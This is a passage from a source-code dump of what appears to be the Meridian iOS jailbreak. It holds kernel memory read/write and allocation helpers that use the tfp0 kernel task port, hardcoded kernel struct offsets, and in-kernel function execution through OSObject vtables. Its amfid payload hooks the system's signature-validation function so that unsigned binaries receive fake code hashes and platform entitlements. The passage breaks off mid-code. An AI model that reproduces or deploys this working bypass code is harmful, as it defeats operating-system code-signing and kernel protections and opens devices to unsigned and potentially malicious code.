  if (err != KERN_SUCCESS) {\n        return -1;\n    }\n    \n    return target_first_addr;\n}\n\nsize_t kread(uint64_t where, void *p, size_t size) {\n\tint rv;\n\tsize_t offset = 0;\n\twhile (offset < size) {\n\t\tmach_vm_size_t sz, chunk = MAX_CHUNK_SIZE;\n\t\tif (chunk > size - offset) {\n\t\t\tchunk = size - offset;\n\t\t}\n\t\trv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);\n\t\tif (rv || sz == 0) {\n\t\t\tfprintf(stderr, \"[e] error reading kernel @%p\\n\", (void *)(offset + where));\n\t\t\tbreak;\n\t\t}\n\t\toffset += sz;\n\t}\n\treturn offset;\n}\n\nsize_t kwrite(uint64_t where, const void *p, size_t size) {\n\tint rv;\n\tsize_t offset = 0;\n\twhile (offset < size) {\n\t\tsize_t chunk = MAX_CHUNK_SIZE;\n\t\tif (chunk > size - offset) {\n\t\t\tchunk = size - offset;\n\t\t}\n\t\trv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk);\n\t\tif (rv) {\n\t\t\tfprintf(stderr, \"[e] error writing kernel @%p\\n\", (void *)(offset + where));\n\t\t\tbreak;\n\t\t}\n\t\toffset += chunk;\n\t}\n\treturn offset;\n}\n\nuint64_t kalloc(vm_size_t size){\n\tmach_vm_address_t address = 0;\n\tmach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);\n\treturn address;\n}\n\nvoid kfree(mach_vm_address_t address, vm_size_t size){\n    mach_vm_deallocate(tfp0, address, size);\n}\n\nuint16_t rk16(uint64_t kaddr) {\n    uint16_t val = 0;\n    kread(kaddr, &val, sizeof(val));\n    return val;\n}\n\nuint32_t rk32(uint64_t kaddr) {\n  uint32_t val = 0;\n  kread(kaddr, &val, sizeof(val));\n  return val;\n}\n\nuint64_t rk64(uint64_t kaddr) {\n  uint64_t val = 0;\n  kread(kaddr, &val, sizeof(val));\n  return val;\n}\n\nvoid wk16(uint64_t kaddr, uint16_t val) {\n    kwrite(kaddr, &val, sizeof(val));\n}\n\nvoid wk32(uint64_t kaddr, uint32_t val) {\n  kwrite(kaddr, &val, sizeof(val));\n}\n\nvoid wk64(uint64_t kaddr, uint64_t val) {\n  kwrite(kaddr, &val, sizeof(val));\n}\n\n// thx Siguza\ntypedef struct {\n  uint64_t prev;\n  uint64_t next;\n  uint64_t start;\n  uint64_t end;\n} kmap_hdr_t;\n\nuint64_t zm_fix_addr(uint64_t addr) {\n  static kmap_hdr_t zm_hdr = {0, 0, 0, 0};\n  if (zm_hdr.start == 0) {\n    // xxx rk64(0) ?!\n    uint64_t zone_map = rk64(offset_zonemap);\n      fprintf(stderr, \"zone_map: %llx \\n\", zone_map);\n    // hdr is at offset 0x10, mutexes at start\n    size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));\n    fprintf(stderr, \"zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\\n\", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr));\n\n    if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {\n      fprintf(stderr, \"kread of zone_map failed!\\n\");\n      exit(1);\n    }\n\n    if (zm_hdr.end - zm_hdr.start > 0x100000000) {\n        fprintf(stderr, \"zone_map is too big, sorry.\\n\");\n        exit(1);\n    }\n  }\n\n  uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff);\n\n  return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;\n}\n\nint kstrcmp(uint64_t kstr, const char* str) {\n\t// XXX be safer, dont just assume you wont cause any\n\t// page faults by this\n\tsize_t len = strlen(str) + 1;\n\tchar *local = (char *)malloc(len + 1);\n\tlocal[len] = '\\0';\n\n\tint ret = 1;\n    \n\tif (kread(kstr, local, len) == len) {\n\t\tret = strcmp(local, str);\n\t}\n    \n\tfree(local);\n\n\treturn ret;\n}\n"
  },
  {
    "path": "Meridian/amfid/helpers/kmem.h",
    "content": "#include <mach/mach.h>\n\nvoid remote_read_overwrite(mach_port_t task_port,\n                           uint64_t remote_address,\n                           uint64_t local_address,\n                           uint64_t length);\nvoid remote_write(mach_port_t remote_task_port,\n                  uint64_t remote_address,\n                  uint64_t local_address,\n                  uint64_t length);\nuint64_t binary_load_address();\n\nuint64_t kalloc(vm_size_t size);\nvoid kfree(mach_vm_address_t address, vm_size_t size);\n\nsize_t kread(uint64_t where, void *p, size_t size);\nuint16_t rk16(uint64_t kaddr);\nuint32_t rk32(uint64_t kaddr);\nuint64_t rk64(uint64_t kaddr);\n\nsize_t kwrite(uint64_t where, const void *p, size_t size);\nvoid wk16(uint64_t kaddr, uint16_t val);\nvoid wk32(uint64_t kaddr, uint32_t val);\nvoid wk64(uint64_t kaddr, uint64_t val);\n\nuint64_t zm_fix_addr(uint64_t addr);\n\nint kstrcmp(uint64_t kstr, const char* str);\n"
  },
  {
    "path": "Meridian/amfid/helpers/offsetof.c",
    "content": "\nunsigned offsetof_p_pid = 0x10;               // proc_t::p_pid\nunsigned offsetof_task = 0x18;                // proc_t::task\nunsigned offsetof_p_uid = 0x30;               // proc_t::p_uid\nunsigned offsetof_p_gid = 0x34;               // proc_t::p_uid\nunsigned offsetof_p_ruid = 0x38;              // proc_t::p_uid\nunsigned offsetof_p_rgid = 0x3c;              // proc_t::p_uid\nunsigned offsetof_p_ucred = 0x100;            // proc_t::p_ucred\nunsigned offsetof_p_csflags = 0x2a8;          // proc_t::p_csflags\nunsigned offsetof_itk_self = 0xD8;            // task_t::itk_self (convert_task_to_port)\nunsigned offsetof_itk_sself = 0xE8;           // task_t::itk_sself (task_get_special_port)\nunsigned offsetof_itk_bootstrap = 0x2b8;      // task_t::itk_bootstrap (task_get_special_port)\nunsigned offsetof_itk_space = 0x300;          // task_t::itk_space\nunsigned offsetof_bsd_info = 0x360;           // task_t::bsd_info\nunsigned offsetof_ip_mscount = 0x9C;          // ipc_port_t::ip_mscount (ipc_port_make_send)\nunsigned offsetof_ip_srights = 0xA0;          // ipc_port_t::ip_srights (ipc_port_make_send)\nunsigned offsetof_ip_kobject = 0x68;          // ipc_port_t::ip_kobject\nunsigned offsetof_p_textvp = 0x248;           // proc_t::p_textvp\nunsigned offsetof_p_textoff = 0x250;          // proc_t::p_textoff\nunsigned offsetof_p_cputype = 0x2c0;          // proc_t::p_cputype\nunsigned offsetof_p_cpu_subtype = 0x2c4;      // proc_t::p_cpu_subtype\nunsigned offsetof_special = 2 * sizeof(long); // host::special\nunsigned offsetof_ipc_space_is_table = 0x20;  // ipc_space::is_table?..\n\nunsigned offsetof_ucred_cr_uid = 0x18;        // ucred::cr_uid\nunsigned offsetof_ucred_cr_ruid = 0x1c;       // ucred::cr_ruid\nunsigned offsetof_ucred_cr_svuid = 0x20;      // ucred::cr_svuid\nunsigned offsetof_ucred_cr_ngroups = 0x24;    // ucred::cr_ngroups\nunsigned offsetof_ucred_cr_groups = 0x28;     // ucred::cr_groups\nunsigned offsetof_ucred_cr_rgid = 0x68;       // ucred::cr_rgid\nunsigned offsetof_ucred_cr_svgid = 0x6c;      // ucred::cr_svgid\n\nunsigned offsetof_v_type = 0x70;              // vnode::v_type\nunsigned offsetof_v_id = 0x74;                // vnode::v_id\nunsigned offsetof_v_ubcinfo = 0x78;           // vnode::v_ubcinfo\n\nunsigned offsetof_ubcinfo_csblobs = 0x50;     // ubc_info::csblobs\n\nunsigned offsetof_csb_cputype = 0x8;          // cs_blob::csb_cputype\nunsigned offsetof_csb_flags = 0x12;           // cs_blob::csb_flags\nunsigned offsetof_csb_base_offset = 0x16;     // cs_blob::csb_base_offset\nunsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements\nunsigned offsetof_csb_signer_type = 0xA0;     // cs_blob::csb_signer_type\nunsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary\nunsigned offsetof_csb_platform_path = 0xA8;   // cs_blob::csb_platform_path\n\nunsigned offsetof_t_flags = 0x3a0; // task::t_flags\n"
  },
  {
    "path": "Meridian/amfid/helpers/offsetof.h",
    "content": "\nextern unsigned offsetof_p_pid;\nextern unsigned offsetof_task;\nextern unsigned offsetof_p_uid;\nextern unsigned offsetof_p_gid;\nextern unsigned offsetof_p_ruid;\nextern unsigned offsetof_p_rgid;\nextern unsigned offsetof_p_ucred;\nextern unsigned offsetof_p_csflags;\nextern unsigned offsetof_itk_self;\nextern unsigned offsetof_itk_sself;\nextern unsigned offsetof_itk_bootstrap;\nextern unsigned offsetof_itk_space;\nextern unsigned offsetof_bsd_info;\nextern unsigned offsetof_ip_mscount;\nextern unsigned offsetof_ip_srights;\nextern unsigned offsetof_ip_kobject;\nextern unsigned offsetof_p_textvp;\nextern unsigned offsetof_p_textoff;\nextern unsigned offsetof_p_cputype;\nextern unsigned offsetof_p_cpu_subtype;\nextern unsigned offsetof_special;\nextern unsigned offsetof_ipc_space_is_table;\n\nextern unsigned offsetof_ucred_cr_uid;\nextern unsigned offsetof_ucred_cr_ruid;\nextern unsigned offsetof_ucred_cr_svuid;\nextern unsigned offsetof_ucred_cr_ngroups;\nextern unsigned offsetof_ucred_cr_groups;\nextern unsigned offsetof_ucred_cr_rgid;\nextern unsigned offsetof_ucred_cr_svgid;\n\nextern unsigned offsetof_v_type;\nextern unsigned offsetof_v_id;\nextern unsigned offsetof_v_ubcinfo;\n\nextern unsigned offsetof_ubcinfo_csblobs;\n\nextern unsigned offsetof_csb_cputype;\nextern unsigned offsetof_csb_flags;\nextern unsigned offsetof_csb_base_offset;\nextern unsigned offsetof_csb_entitlements_offset;\nextern unsigned offsetof_csb_signer_type;\nextern unsigned offsetof_csb_platform_binary;\nextern unsigned offsetof_csb_platform_path;\n\nextern unsigned offsetof_t_flags;\n"
  },
  {
    "path": "Meridian/amfid/helpers/osobject.c",
    "content": "#include <stdlib.h>\n\n#include \"kern_utils.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n#include \"osobject.h\"\n\n// offsets in vtable:\nstatic uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F;\nstatic uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26;\nstatic uint32_t off_OSDictionary_Merge              = sizeof(void*) * 0x23;\n\nstatic uint32_t off_OSArray_Merge                   = sizeof(void*) * 0x1E;\nstatic uint32_t off_OSArray_RemoveObject            = sizeof(void*) * 0x20;\nstatic uint32_t off_OSArray_GetObject               = sizeof(void*) * 0x22;\n\nstatic uint32_t off_OSObject_Release                = sizeof(void*) * 0x05;\nstatic uint32_t off_OSObject_GetRetainCount         = sizeof(void*) * 0x03;\nstatic uint32_t off_OSObject_Retain                 = sizeof(void*) * 0x04;\n\nstatic uint32_t off_OSString_GetLength              = sizeof(void*) * 0x11;\n\n// 1 on success, 0 on error\nint OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {\n\tsize_t len = strlen(key) + 1;\n\n\tuint64_t ks = kalloc(len);\n\tkwrite(ks, key, len);\n\n\tuint64_t vtab = rk64(dict);\n\tuint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP);\n\n\tint rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0);\n\n\tkfree(ks, len);\n\n\treturn rv;\n}\n\n// XXX it can return 0 in lower 32 bits but still be valid\n// fix addr of returned value and check if rk64 gives ptr\n// to vtable addr saved before\n\n// address if exists, 0 if not\nuint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {\n\tsize_t len = strlen(key) + 1;\n\n\tuint64_t ks = kalloc(len);\n\tkwrite(ks, key, len);\n\n\tuint64_t vtab = rk64(dict);\n\tuint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP);\n\n\tint rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0);\n\n\tkfree(ks, len);\n\n\treturn rv;\n}\n\nuint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {\n\tuint64_t ret = _OSDictionary_GetItem(dict, key);\n\t\n\tif (ret != 0) {\n\t\t// XXX can it be not in zalloc?..\n\t\tret = zm_fix_addr(ret);\n\t}\n\n\treturn ret;\n}\n\n// 1 on success, 0 on error\nint OSDictionary_Merge(uint64_t dict, uint64_t aDict) {\n\tuint64_t vtab = rk64(dict);\n\tuint64_t f = rk64(vtab + off_OSDictionary_Merge);\n\n\treturn (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0);\n}\n\n// 1 on success, 0 on error\nint OSArray_Merge(uint64_t array, uint64_t aArray) {\n\tuint64_t vtab = rk64(array);\n\tuint64_t f = rk64(vtab + off_OSArray_Merge);\n\n\treturn (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0);\n}\n\nuint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){\n    uint64_t vtab = rk64(array);\n    uint64_t f = rk64(vtab + off_OSArray_GetObject);\n    \n    return kexecute(f, array, idx, 0, 0, 0, 0, 0);\n}\n\nuint64_t OSArray_GetObject(uint64_t array, unsigned int idx){\n    uint64_t ret = _OSArray_GetObject(array, idx);\n    \n    if (ret != 0){\n        // XXX can it be not in zalloc?..\n        ret = zm_fix_addr(ret);\n    }\n    return ret;\n}\n\nvoid OSArray_RemoveObject(uint64_t array, unsigned int idx){\n    uint64_t vtab = rk64(array);\n    uint64_t f = rk64(vtab + off_OSArray_RemoveObject);\n    \n    (void)kexecute(f, array, idx, 0, 0, 0, 0, 0);\n}\n\n// XXX error handling just for fun? :)\nuint64_t _OSUnserializeXML(const char* buffer) {\n\tsize_t len = strlen(buffer) + 1;\n\n\tuint64_t ks = kalloc(len);\n\tkwrite(ks, buffer, len);\n\n\tuint64_t errorptr = 0;\n\n\tuint64_t rv = kexecute(offset_osunserialize_xml, ks, errorptr, 0, 0, 0, 0, 0);\n\tkfree(ks, len);\n\n\treturn rv;\n}\n\nuint64_t OSUnserializeXML(const char* buffer) {\n\tuint64_t ret = _OSUnserializeXML(buffer);\n\t\n\tif (ret != 0) {\n\t\t// XXX can it be not in zalloc?..\n\t\tret = zm_fix_addr(ret);\n\t}\n\n\treturn ret;\n}\n\nvoid OSObject_Release(uint64_t osobject) {\n\tuint64_t vtab = rk64(osobject);\n\tuint64_t f = rk64(vtab + off_OSObject_Release);\n\t(void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);\n}\n\nvoid OSObject_Retain(uint64_t osobject) {\n\tuint64_t vtab = rk64(osobject);\n\tuint64_t f = rk64(vtab + off_OSObject_Release);\n\t(void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);\n}\n\nuint32_t OSObject_GetRetainCount(uint64_t osobject) {\n\tuint64_t vtab = rk64(osobject);\n\tuint64_t f = rk64(vtab + off_OSObject_Release);\n\treturn (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);\n}\n\nunsigned int OSString_GetLength(uint64_t osstring){\n    uint64_t vtab = rk64(osstring);\n    uint64_t f = rk64(vtab + off_OSString_GetLength);\n    return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0);\n}\n\nchar *OSString_CopyString(uint64_t osstring){\n    unsigned int length = OSString_GetLength(osstring);\n    char *str = (char *)malloc(length + 1);\n    str[length] = 0;\n    \n    kread(OSString_CStringPtr(osstring), str, length);\n    return str;\n}\n"
  },
  {
    "path": "Meridian/amfid/helpers/osobject.h",
    "content": "\n#define OSDictionary_ItemCount(dict) rk32(dict+20)\n#define OSDictionary_ItemBuffer(dict) rk64(dict+32)\n#define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx)\n#define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8)\n#define OSString_CStringPtr(str) rk64(str + 0x10)\n#define OSArray_ItemCount(arr) rk32(arr+0x14)\n#define OSArray_ItemBuffer(arr) rk64(arr+32)\n\n// see osobject.c for info\n\nint OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val);\nuint64_t OSDictionary_GetItem(uint64_t dict, const char *key);\nint OSDictionary_Merge(uint64_t dict, uint64_t aDict);\nvoid OSArray_RemoveObject(uint64_t array, unsigned int idx);\nuint64_t OSArray_GetObject(uint64_t array, unsigned int idx);\nint OSArray_Merge(uint64_t array, uint64_t aArray);\nuint64_t OSUnserializeXML(const char* buffer);\n\nvoid OSObject_Release(uint64_t osobject);\nvoid OSObject_Retain(uint64_t osobject);\nuint32_t OSObject_GetRetainCount(uint64_t osobject);\n\nunsigned int OSString_GetLength(uint64_t osstring);\nchar *OSString_CopyString(uint64_t osstring);\n"
  },
  {
    "path": "Meridian/amfid/kern_utils.h",
    "content": "#import <stdio.h>\n#import <mach/mach.h>\n#import <mach/error.h>\n#import <mach/message.h>\n#import <CoreFoundation/CoreFoundation.h>\n\nkern_return_t mach_vm_read(vm_map_t target_task,\n\t\t\t\t\t\t   mach_vm_address_t address,\n\t\t\t\t\t\t   mach_vm_size_t size,\n\t\t\t\t\t\t   vm_offset_t *data,\n\t\t\t\t\t\t   mach_msg_type_number_t *dataCnt);\n\nkern_return_t mach_vm_write(vm_map_t target_task,\n                            mach_vm_address_t address,\n                            vm_offset_t data,\n                            mach_msg_type_number_t dataCnt);\n\nkern_return_t mach_vm_read_overwrite(vm_map_t target_task,\n                                     mach_vm_address_t address,\n                                     mach_vm_size_t size,\n                                     mach_vm_address_t data,\n                                     mach_vm_size_t *outsize);\n\nkern_return_t mach_vm_region(vm_map_t target_task,\n                             mach_vm_address_t *address,\n                             mach_vm_size_t *size,\n                             vm_region_flavor_t flavor,\n                             vm_region_info_t info,\n                             mach_msg_type_number_t *infoCnt,\n                             mach_port_t *object_name);\n\n/****** IOKit/IOKitLib.h *****/\ntypedef mach_port_t io_service_t;\ntypedef mach_port_t io_connect_t;\n\nextern const mach_port_t kIOMasterPortDefault;\n#define IO_OBJECT_NULL (0)\n\nkern_return_t\nIOConnectCallAsyncMethod(\n\t\t\t\t\t\t mach_port_t     connection,\n\t\t\t\t\t\t uint32_t        selector,\n\t\t\t\t\t\t mach_port_t     wakePort,\n\t\t\t\t\t\t uint64_t*       reference,\n\t\t\t\t\t\t uint32_t        referenceCnt,\n\t\t\t\t\t\t const uint64_t* input,\n\t\t\t\t\t\t uint32_t        inputCnt,\n\t\t\t\t\t\t const void*     inputStruct,\n\t\t\t\t\t\t size_t          inputStructCnt,\n\t\t\t\t\t\t uint64_t*       output,\n\t\t\t\t\t\t uint32_t*       outputCnt,\n\t\t\t\t\t\t void*           outputStruct,\n\t\t\t\t\t\t size_t*         outputStructCntP);\n\nkern_return_t\nIOConnectCallMethod(\n\t\t\t\t\tmach_port_t     connection,\n\t\t\t\t\tuint32_t        selector,\n\t\t\t\t\tconst uint64_t* input,\n\t\t\t\t\tuint32_t        inputCnt,\n\t\t\t\t\tconst void*     inputStruct,\n\t\t\t\t\tsize_t          inputStructCnt,\n\t\t\t\t\tuint64_t*       output,\n\t\t\t\t\tuint32_t*       outputCnt,\n\t\t\t\t\tvoid*           outputStruct,\n\t\t\t\t\tsize_t*         outputStructCntP);\n\nio_service_t\nIOServiceGetMatchingService(\n\t\t\t\t\t\t\tmach_port_t  _masterPort,\n\t\t\t\t\t\t\tCFDictionaryRef  matching);\n\nCFMutableDictionaryRef\nIOServiceMatching(\n\t\t\t\t  const char* name);\n\nkern_return_t\nIOServiceOpen(\n\t\t\t  io_service_t  service,\n\t\t\t  task_port_t   owningTask,\n\t\t\t  uint32_t      type,\n\t\t\t  io_connect_t* connect );\n\nkern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);\nkern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);\nkern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);\nkern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);\nkern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);\n\nextern mach_port_t tfp0;\nextern uint64_t kernel_base;\nextern uint64_t kernel_slide;\nextern uint64_t offset_zonemap;\nextern uint64_t offset_kernel_task;\nextern uint64_t offset_vfs_context_current;\nextern uint64_t offset_vnode_getfromfd;\nextern uint64_t offset_vnode_getattr;\nextern uint64_t offset_vnode_put;\nextern uint64_t offset_csblob_ent_dict_set;\nextern uint64_t offset_sha1_init;\nextern uint64_t offset_sha1_update;\nextern uint64_t offset_sha1_final;\nextern uint64_t offset_add_x0_x0_0x40_ret;\nextern uint64_t offset_osboolean_true;\nextern uint64_t offset_osboolean_false;\nextern uint64_t offset_osunserialize_xml;\nextern uint64_t offset_cs_find_md;\n\nuint64_t proc_find(int pid, int tries);\nuint64_t find_port(mach_port_name_t port);\n"
  },
  {
    "path": "Meridian/amfid/kern_utils.m",
    "content": "#import <Foundation/Foundation.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"common.h\"\n#include \"kern_utils.h\"\n#include \"kmem.h\"\n#include \"offsetof.h\"\n\nmach_port_t tfp0;\nuint64_t kernel_base;\nuint64_t kernel_slide;\nuint64_t offset_zonemap;\nuint64_t offset_kernel_task;\nuint64_t offset_vfs_context_current;\nuint64_t offset_vnode_getfromfd;\nuint64_t offset_vnode_getattr;\nuint64_t offset_vnode_put;\nuint64_t offset_csblob_ent_dict_set;\nuint64_t offset_sha1_init;\nuint64_t offset_sha1_update;\nuint64_t offset_sha1_final;\nuint64_t offset_add_x0_x0_0x40_ret;\nuint64_t offset_osboolean_true;\nuint64_t offset_osboolean_false;\nuint64_t offset_osunserialize_xml;\nuint64_t offset_cs_find_md;\n\nuint64_t proc_find(int pd, int tries) {\n    while (tries-- > 0) {\n        uint64_t ktask = rk64(offset_kernel_task);\n        uint64_t kern_proc = rk64(ktask + offsetof_bsd_info);\n        uint64_t proc = rk64(kern_proc + 0x08);\n        \n        while (proc) {\n            uint32_t proc_pid = rk32(proc + 0x10);\n\n            if (proc_pid == pd) {\n                return proc;\n            }\n\n            proc = rk64(proc + 0x08);\n        }\n    }\n\n    return 0;\n}\n\nCACHED_FIND(uint64_t, our_task_addr) {\n    uint64_t our_proc = proc_find(getpid(), 3);\n\n    if (our_proc == 0) {\n        NSLog(@\"failed to find our_task_addr!\");\n        return -1;\n    }\n\n    return rk64(our_proc + offsetof_task);\n}\n\nuint64_t find_port(mach_port_name_t port) {\n    uint64_t task_addr = our_task_addr();\n    if (task_addr == -1) {\n        return -1;\n    }\n\n    uint64_t itk_space = rk64(task_addr + offsetof_itk_space);\n\n    uint64_t is_table = rk64(itk_space + offsetof_ipc_space_is_table);\n\n    uint32_t port_index = port >> 8;\n    const int sizeof_ipc_entry_t = 0x18;\n\n    uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));\n    \n    return port_addr;\n}\n"
  },
  {
    "path": "Meridian/amfid/main.m",
    "content": "// Massive creds to @theninjaprawn for his async_wake fork & help getting this patch to work :)\n// [2018-3-14] big thanks for stek for letting me use his code on proper blob parsing :) -> https://github.com/stek29/electra/blob/amfid_fix/basebinaries/amfid_payload/\n\n#include <dlfcn.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/types.h>\n#include <mach/mach.h>\n#include <mach-o/loader.h>\n#include <mach-o/fat.h>\n#include <mach/error.h>\n#include <errno.h>\n#include <stdlib.h>\n#include <sys/sysctl.h>\n#include <dlfcn.h>\n#include <sys/mman.h>\n#include <spawn.h>\n#include <sys/stat.h>\n#include <pthread.h>\n#include <Foundation/Foundation.h>\n#include <CommonCrypto/CommonDigest.h>\n#include \"fishhook.h\"\n#include \"kern_utils.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n#include \"ent_patching.h\"\n\nint (*old_MISValidateSignatureAndCopyInfo)(NSString* file, NSDictionary* options, NSMutableDictionary** info);\nint (*old_MISValidateSignatureAndCopyInfo_broken)(NSString* file, NSDictionary* options, NSMutableDictionary** info);\n\nint fake_MISValidateSignatureAndCopyInfo(NSString* file, NSDictionary* options, NSMutableDictionary** info) {\n    const char *file_path = [file UTF8String];\n    INFO(@\"called for file %s\", file_path);\n    \n    // Call the original func\n    old_MISValidateSignatureAndCopyInfo(file, options, info);\n    \n    if (info == NULL) {\n        INFO(\"info is null - skipping\");\n        return 0;\n    }\n    \n    if (*info == NULL) {\n        *info = [[NSMutableDictionary alloc] init];\n        if (*info == nil) {\n            ERROR(\"out of memory - can't alloc info\");\n            return 0;\n        }\n    }\n    \n    if ([*info objectForKey:@\"CdHash\"]) {\n        return 0;\n    }\n    \n    NSNumber *file_offset = [options objectForKey:@\"UniversalFileOffset\"];\n    uint64_t  file_off    = [file_offset unsignedLongLongValue];\n    \n    img_info_t img;\n    img.name = file.UTF8String;\n    img.file_off = file_off;\n    \n    if (open_img(&img)) {\n        ERROR(@\"failed to open file: %@\", file);\n        return 0;\n    }\n    \n    uint32_t cs_length;\n    const void *code_signature = find_code_signature(&img, &cs_length);\n    if (code_signature == NULL) {\n        ERROR(@\"can't find code signature: %@\", file);\n        close_img(&img);\n        return 0;\n    }\n    \n    const CS_CodeDirectory *chosen_csdir = NULL;\n    uint32_t cdir_offset = 0;\n    const CS_GenericBlob *entitlements = NULL; // may be NULL for no entitlements\n    int ret = find_best_codedir(code_signature, cs_length, &chosen_csdir, &cdir_offset, &entitlements);\n    if (ret != 0) {\n        ERROR(@\"failed to find the best code directory\");\n        close_img(&img);\n        return 0;\n    }\n    \n    uint8_t cd_hash[CS_CDHASH_LEN];\n    ret = hash_code_directory(chosen_csdir, cd_hash);\n    if (ret != 0) {\n        ERROR(@\"failed to hash code directory\");\n        close_img(&img);\n        return 0;\n    }\n    \n    NSData *ns_cdhash = [[NSData alloc] initWithBytes:cd_hash length:sizeof(cd_hash)];\n    [*info setValue:ns_cdhash forKey:@\"CdHash\"];\n\n    const char *hash_name = get_hash_name(chosen_csdir->hashType);\n    \n    INFO(@\"magic was performed [%08x (%s)]: %@\", ntohl(*(uint64_t *)cd_hash), hash_name, file);\n    \n    // let's check entitlements, add platform-application if necessary\n    ret = fixup_platform_application(file.UTF8String,\n                                     file_off,\n                                     code_signature,\n                                     cs_length,\n                                     cd_hash,\n                                     cdir_offset,\n                                     entitlements);\n    \n    if (ret != 0) {\n        ERROR(@\"fixup_platform_application returned: %d\", ret);\n    }\n    \n    close_img(&img);\n    return 0;\n}\n\n__attribute__ ((constructor))\nstatic void ctor(void) {\n    INFO(\"preparing to fuck up amfid :)\");\n    \n    kern_return_t ret = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfp0);\n    if (ret != KERN_SUCCESS || tfp0 == MACH_PORT_NULL) {\n        ERROR(\"failed to get tfp0!\");\n        return;\n    }\n    INFO(\"got tfp0: %x\", tfp0);\n    \n    NSDictionary *off_file = [NSDictionary dictionaryWithContentsOfFile:@\"/meridian/offsets.plist\"];\n    if (off_file == NULL) {\n        ERROR(\"failed to find the offsets file!\");\n        return;\n    }\n    \n    kernel_base                 = strtoull([off_file[@\"KernelBase\"]           UTF8String], NULL, 16);\n    kernel_slide                = strtoull([off_file[@\"KernelSlide\"]          UTF8String], NULL, 16);\n    offset_zonemap              = strtoull([off_file[@\"ZoneMap\"]              UTF8String], NULL, 16) + kernel_slide;\n    offset_kernel_task          = strtoull([off_file[@\"KernelTask\"]           UTF8String], NULL, 16) + kernel_slide;\n    offset_vfs_context_current  = strtoull([off_file[@\"VfsContextCurrent\"]    UTF8String], NULL, 16) + kernel_slide;\n    offset_vnode_getfromfd      = strtoull([off_file[@\"VnodeGetFromFD\"]       UTF8String], NULL, 16) + kernel_slide;\n    offset_vnode_getattr        = strtoull([off_file[@\"VnodeGetAttr\"]         UTF8String], NULL, 16) + kernel_slide;\n    offset_vnode_put            = strtoull([off_file[@\"VnodePut\"]             UTF8String], NULL, 16) + kernel_slide;\n    offset_csblob_ent_dict_set  = strtoull([off_file[@\"CSBlobEntDictSet\"]     UTF8String], NULL, 16) + kernel_slide;\n    offset_sha1_init            = strtoull([off_file[@\"SHA1Init\"]             UTF8String], NULL, 16) + kernel_slide;\n    offset_sha1_update          = strtoull([off_file[@\"SHA1Update\"]           UTF8String], NULL, 16) + kernel_slide;\n    offset_sha1_final           = strtoull([off_file[@\"SHA1Final\"]            UTF8String], NULL, 16) + kernel_slide;\n    offset_add_x0_x0_0x40_ret   = strtoull([off_file[@\"AddGadgetRet\"]         UTF8String], NULL, 16);\n    offset_osboolean_true       = strtoull([off_file[@\"OSBooleanTrue\"]        UTF8String], NULL, 16);\n    offset_osboolean_false      = strtoull([off_file[@\"OSBooleanFalse\"]       UTF8String], NULL, 16);\n    offset_osunserialize_xml    = strtoull([off_file[@\"OSUnserializeXML\"]     UTF8String], NULL, 16);\n    offset_cs_find_md           = strtoull([off_file[@\"CSFindMD\"]             UTF8String], NULL, 16);\n    \n    INFO(\"grabbed all offsets! eg: %llx, %llx, slide: %llx\", offset_kernel_task, offset_sha1_final, kernel_slide);\n    \n    init_kexecute();\n    \n    // This is some wicked crazy shit that needs to happen to correctly patch\n    // after amfid has been killed & launched & patched again... it's nuts.\n    // shouldn't even work. creds whoever came up w this @ ElectraTeam\n    void *libmis = dlopen(\"/usr/lib/libmis.dylib\", RTLD_NOW);\n    old_MISValidateSignatureAndCopyInfo = dlsym(libmis, \"MISValidateSignatureAndCopyInfo\");\n    \n    struct rebinding rebindings[] = {\n        { \"MISValidateSignatureAndCopyInfo\", (void *)fake_MISValidateSignatureAndCopyInfo, (void **)&old_MISValidateSignatureAndCopyInfo_broken }\n        /*                                                                                                       